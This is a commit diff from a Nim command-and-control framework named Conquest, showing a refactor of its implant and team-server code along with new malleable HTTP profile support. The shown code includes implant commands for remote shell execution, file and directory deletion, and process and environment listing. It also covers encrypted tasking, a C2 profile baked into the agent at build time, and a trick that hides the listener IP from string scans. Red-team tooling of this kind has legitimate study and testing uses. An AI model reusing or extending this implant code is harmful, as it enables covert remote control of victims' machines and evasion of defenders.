@@ -20,7 +21,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
|||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
|
let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||||
@@ -50,7 +51,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
|||||||
args: args
|
args: args
|
||||||
)
|
)
|
||||||
|
|
||||||
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
|
||||||
|
|
||||||
result = newSeq[Task]()
|
result = newSeq[Task]()
|
||||||
|
|
||||||
@@ -68,6 +69,6 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
|||||||
taskLength = unpacker.getUint32()
|
taskLength = unpacker.getUint32()
|
||||||
taskBytes = unpacker.getBytes(int(taskLength))
|
taskBytes = unpacker.getBytes(int(taskLength))
|
||||||
|
|
||||||
result.add(config.deserializeTask(taskBytes))
|
result.add(ctx.deserializeTask(taskBytes))
|
||||||
|
|
||||||
dec taskCount
|
dec taskCount
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import parsetoml, strutils
|
import parsetoml, strutils, random
|
||||||
import ./[types, utils]
|
import ./[types, utils]
|
||||||
|
|
||||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||||
@@ -41,3 +41,14 @@ proc getTable*(profile: Profile, path: string): TomlTableRef =
|
|||||||
if key == nil:
|
if key == nil:
|
||||||
return new TomlTableRef
|
return new TomlTableRef
|
||||||
return key.getTable()
|
return key.getTable()
|
||||||
|
|
||||||
|
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
||||||
|
let key = profile.findKey(path)
|
||||||
|
if key == nil:
|
||||||
|
return @[]
|
||||||
|
return key.getElems()
|
||||||
|
|
||||||
|
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
||||||
|
if values.len == 0:
|
||||||
|
return nil
|
||||||
|
return values[rand(values.len - 1)]
|
||||||
@@ -176,7 +176,7 @@ type
|
|||||||
|
|
||||||
# Agent config
|
# Agent config
|
||||||
type
|
type
|
||||||
AgentConfig* = ref object
|
AgentCtx* = ref object
|
||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
ip*: string
|
ip*: string
|
||||||
@@ -184,6 +184,7 @@ type
|
|||||||
sleep*: int
|
sleep*: int
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
|
profile*: Profile
|
||||||
|
|
||||||
# Structure for command module definitions
|
# Structure for command module definitions
|
||||||
type
|
type
|
||||||
@@ -200,4 +201,4 @@ type
|
|||||||
example*: string
|
example*: string
|
||||||
arguments*: seq[Argument]
|
arguments*: seq[Argument]
|
||||||
dispatchMessage*: string
|
dispatchMessage*: string
|
||||||
execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.}
|
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
# Declare function prototypes
|
# Declare function prototypes
|
||||||
proc executePs(config: AgentConfig, task: Task): TaskResult
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult
|
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definitions
|
# Command definitions
|
||||||
let commands*: seq[Command] = @[
|
let commands*: seq[Command] = @[
|
||||||
@@ -35,15 +35,15 @@ let commands*: seq[Command] = @[
|
|||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executePs(config: AgentConfig, task: Task): TaskResult = nil
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import winim
|
import winim
|
||||||
import os, strutils, sequtils, strformat, tables, algorithm
|
import os, strutils, sequtils, strformat, tables, algorithm
|
||||||
import ../agent/core/taskresult
|
import ../agent/protocol/result
|
||||||
|
|
||||||
# TODO: Add user context to process information
|
# TODO: Add user context to process information
|
||||||
type
|
type
|
||||||
@@ -53,7 +53,7 @@ when defined(agent):
|
|||||||
name: string
|
name: string
|
||||||
children: seq[DWORD]
|
children: seq[DWORD]
|
||||||
|
|
||||||
proc executePs(config: AgentConfig, task: Task): TaskResult =
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
echo fmt" [>] Listing running processes."
|
echo fmt" [>] Listing running processes."
|
||||||
|
|
||||||
@@ -127,7 +127,7 @@ when defined(agent):
|
|||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
echo fmt" [>] Displaying environment variables."
|
echo fmt" [>] Displaying environment variables."
|
||||||
|
|
||||||
@@ -141,7 +141,7 @@ when defined(agent):
|
|||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
|
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
echo fmt" [>] Getting user information."
|
echo fmt" [>] Getting user information."
|
||||||
|
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
# Define function prototypes
|
# Define function prototypes
|
||||||
proc executePwd(config: AgentConfig, task: Task): TaskResult
|
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeCd(config: AgentConfig, task: Task): TaskResult
|
proc executeCd(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeDir(config: AgentConfig, task: Task): TaskResult
|
proc executeDir(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeRm(config: AgentConfig, task: Task): TaskResult
|
proc executeRm(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult
|
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeMove(config: AgentConfig, task: Task): TaskResult
|
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult
|
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definitions
|
# Command definitions
|
||||||
let commands* = @[
|
let commands* = @[
|
||||||
@@ -85,21 +85,21 @@ let commands* = @[
|
|||||||
|
|
||||||
# Implementation of the execution functions
|
# Implementation of the execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
|
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeDir(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeRm(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, strutils, strformat, times, algorithm, winim
|
import os, strutils, strformat, times, algorithm, winim
|
||||||
import ../agent/core/taskresult
|
import ../agent/protocol/result
|
||||||
|
|
||||||
# Retrieve current working directory
|
# Retrieve current working directory
|
||||||
proc executePwd(config: AgentConfig, task: Task): TaskResult =
|
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
echo fmt" [>] Retrieving current working directory."
|
echo fmt" [>] Retrieving current working directory."
|
||||||
|
|
||||||
@@ -120,7 +120,7 @@ when defined(agent):
|
|||||||
|
|
||||||
|
|
||||||
# Change working directory
|
# Change working directory
|
||||||
proc executeCd(config: AgentConfig, task: Task): TaskResult =
|
proc executeCd(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
# Parse arguments
|
# Parse arguments
|
||||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||||
@@ -139,7 +139,7 @@ when defined(agent):
|
|||||||
|
|
||||||
|
|
||||||
# List files and directories at a specific or at the current path
|
# List files and directories at a specific or at the current path
|
||||||
proc executeDir(config: AgentConfig, task: Task): TaskResult =
|
proc executeDir(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var targetDirectory: string
|
var targetDirectory: string
|
||||||
@@ -289,7 +289,7 @@ when defined(agent):
|
|||||||
|
|
||||||
|
|
||||||
# Remove file
|
# Remove file
|
||||||
proc executeRm(config: AgentConfig, task: Task): TaskResult =
|
proc executeRm(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
# Parse arguments
|
# Parse arguments
|
||||||
let target = Bytes.toString(task.args[0].data)
|
let target = Bytes.toString(task.args[0].data)
|
||||||
@@ -307,7 +307,7 @@ when defined(agent):
|
|||||||
|
|
||||||
|
|
||||||
# Remove directory
|
# Remove directory
|
||||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
|
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
# Parse arguments
|
# Parse arguments
|
||||||
let target = Bytes.toString(task.args[0].data)
|
let target = Bytes.toString(task.args[0].data)
|
||||||
@@ -324,7 +324,7 @@ when defined(agent):
|
|||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
# Move file or directory
|
# Move file or directory
|
||||||
proc executeMove(config: AgentConfig, task: Task): TaskResult =
|
proc executeMove(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
# Parse arguments
|
# Parse arguments
|
||||||
let
|
let
|
||||||
@@ -344,7 +344,7 @@ when defined(agent):
|
|||||||
|
|
||||||
|
|
||||||
# Copy file or directory
|
# Copy file or directory
|
||||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult =
|
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
# Parse arguments
|
# Parse arguments
|
||||||
let
|
let
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeShell(config: AgentConfig, task: Task): TaskResult
|
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Command definition (as seq[Command])
|
||||||
let commands*: seq[Command] = @[
|
let commands*: seq[Command] = @[
|
||||||
@@ -20,14 +20,14 @@ let commands*: seq[Command] = @[
|
|||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import ../agent/core/taskresult
|
import ../agent/protocol/result
|
||||||
import osproc, strutils, strformat
|
import osproc, strutils, strformat
|
||||||
|
|
||||||
proc executeShell(config: AgentConfig, task: Task): TaskResult =
|
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
var
|
var
|
||||||
command: string
|
command: string
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
import ../common/[types, utils]
|
import ../common/[types, utils]
|
||||||
|
|
||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult
|
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Command definition (as seq[Command])
|
||||||
let commands* = @[
|
let commands* = @[
|
||||||
Command(
|
Command(
|
||||||
name: "sleep",
|
name: "sleep",
|
||||||
commandType: CMD_SLEEP,
|
commandType: CMD_SLEEP,
|
||||||
description: "Update sleep delay configuration.",
|
description: "Update sleep delay ctxuration.",
|
||||||
example: "sleep 5",
|
example: "sleep 5",
|
||||||
arguments: @[
|
arguments: @[
|
||||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
||||||
@@ -19,14 +19,14 @@ let commands* = @[
|
|||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
|
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, strutils, strformat
|
import os, strutils, strformat
|
||||||
import ../agent/core/taskresult
|
import ../agent/protocol/result
|
||||||
|
|
||||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult =
|
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Parse task parameter
|
# Parse task parameter
|
||||||
@@ -36,8 +36,8 @@ when defined(agent):
|
|||||||
|
|
||||||
sleep(delay * 1000)
|
sleep(delay * 1000)
|
||||||
|
|
||||||
# Updating sleep in agent config
|
# Updating sleep in agent context
|
||||||
config.sleep = delay
|
ctx.sleep = delay
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
|
|||||||
@@ -19,9 +19,8 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
# Check heartbeat metadata placement
|
# Check heartbeat metadata placement
|
||||||
var heartbeat: seq[byte]
|
var heartbeat: seq[byte]
|
||||||
var heartbeatString: string
|
var heartbeatString: string
|
||||||
let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type")
|
|
||||||
|
|
||||||
case heartbeatPlacement:
|
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
of "header":
|
of "header":
|
||||||
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
if not ctx.request.hasHeader(heartbeatHeader):
|
if not ctx.request.hasHeader(heartbeatHeader):
|
||||||
@@ -39,14 +38,12 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||||
let
|
let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||||
encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
|
||||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
|
||||||
|
|
||||||
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
case encoding:
|
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||||
of "base64":
|
of "base64":
|
||||||
heartbeat = string.toBytes(decode(encHeartbeat))
|
heartbeat = string.toBytes(decode(encHeartbeat))
|
||||||
of "none":
|
of "none":
|
||||||
@@ -70,18 +67,17 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
# Apply data transformation to the response
|
# Apply data transformation to the response
|
||||||
var response: string
|
var response: string
|
||||||
let
|
|
||||||
encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none")
|
|
||||||
prefix = cq.profile.getString("http-get.server.output.prefix")
|
|
||||||
suffix = cq.profile.getString("http-get.server.output.suffix")
|
|
||||||
|
|
||||||
case encoding:
|
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||||
of "none":
|
of "none":
|
||||||
response = Bytes.toString(responseBytes)
|
response = Bytes.toString(responseBytes)
|
||||||
of "base64":
|
of "base64":
|
||||||
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
|
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||||
|
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||||
|
|
||||||
# Add headers, as defined in the team server profile
|
# Add headers, as defined in the team server profile
|
||||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||||
ctx.response.setHeader(header, value.getStr())
|
ctx.response.setHeader(header, value.getStr())
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml
|
||||||
|
|
||||||
import ./task
|
import ./task
|
||||||
import ../utils
|
import ../utils
|
||||||
@@ -135,13 +135,14 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|||||||
let listener = cq.listeners[listener.toUpperAscii]
|
let listener = cq.listeners[listener.toUpperAscii]
|
||||||
|
|
||||||
# Create/overwrite nim.cfg file to set agent configuration
|
# Create/overwrite nim.cfg file to set agent configuration
|
||||||
let agentConfigFile = fmt"../src/agent/nim.cfg"
|
let AgentCtxFile = fmt"../src/agent/nim.cfg"
|
||||||
|
|
||||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
||||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
let (first, second, third, fourth) = parseOctets(listener.address)
|
||||||
|
|
||||||
# Covert the servers's public X25519 key to as base64 string
|
# Covert the servers's public X25519 key to as base64 string
|
||||||
let publicKey = encode(cq.keyPair.publicKey)
|
let publicKey = encode(cq.keyPair.publicKey)
|
||||||
|
let profileString = encode(cq.profile.toTomlString())
|
||||||
|
|
||||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||||
let config = fmt"""
|
let config = fmt"""
|
||||||
@@ -154,8 +155,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|||||||
-d:ListenerPort={listener.port}
|
-d:ListenerPort={listener.port}
|
||||||
-d:SleepDelay={sleep}
|
-d:SleepDelay={sleep}
|
||||||
-d:ServerPublicKey="{publicKey}"
|
-d:ServerPublicKey="{publicKey}"
|
||||||
|
-d:ProfileString="{profileString}"
|
||||||
""".replace(" ", "")
|
""".replace(" ", "")
|
||||||
writeFile(agentConfigFile, config)
|
writeFile(AgentCtxFile, config)
|
||||||
|
|
||||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ import sugar
|
|||||||
import ../utils
|
import ../utils
|
||||||
import ../api/routes
|
import ../api/routes
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils, profile]
|
||||||
|
|
||||||
# Utility functions
|
# Utility functions
|
||||||
proc delListener(cq: Conquest, listenerName: string) =
|
proc delListener(cq: Conquest, listenerName: string) =
|
||||||
@@ -60,13 +60,21 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
|
|
||||||
# Define API endpoints based on C2 profile
|
# Define API endpoints based on C2 profile
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.get(endpoint.getStr(), routes.httpGet)
|
listener.addRoute(endpoint.getStr(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
|
var postMethods: seq[HttpMethod]
|
||||||
listener.post(endpoint.getStr(), routes.httpPost)
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
|
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
||||||
|
|
||||||
|
# Default method is POST
|
||||||
|
if postMethods.len == 0:
|
||||||
|
postMethods = @[HttpPost]
|
||||||
|
|
||||||
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
|
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
# Store listener in database
|
# Store listener in database
|
||||||
@@ -104,12 +112,20 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
# Define API endpoints based on C2 profile
|
# Define API endpoints based on C2 profile
|
||||||
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
|
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.get(endpoint.getStr(), routes.httpGet)
|
listener.get(endpoint.getStr(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
|
var postMethods: seq[HttpMethod]
|
||||||
listener.post(endpoint.getStr(), routes.httpPost)
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
|
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
||||||
|
|
||||||
|
# Default method is POST
|
||||||
|
if postMethods.len == 0:
|
||||||
|
postMethods = @[HttpPost]
|
||||||
|
|
||||||
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
|
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
|
|||||||
import ./[agent, listener]
|
import ./[agent, listener]
|
||||||
import ../[globals, utils]
|
import ../[globals, utils]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto, profile]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Argument parsing
|
Argument parsing
|
||||||
@@ -135,8 +135,8 @@ proc init*(T: type Conquest, profile: Profile): Conquest =
|
|||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
|
|
||||||
cq.keyPair = loadKeyPair(profile["private_key_file"].getStr())
|
cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
|
||||||
cq.dbPath = profile["database_file"].getStr()
|
cq.dbPath = profile.getString("database_file")
|
||||||
cq.profile = profile
|
cq.profile = profile
|
||||||
|
|
||||||
return cq
|
return cq
|
||||||
|
|||||||
Reference in New Issue
Block a user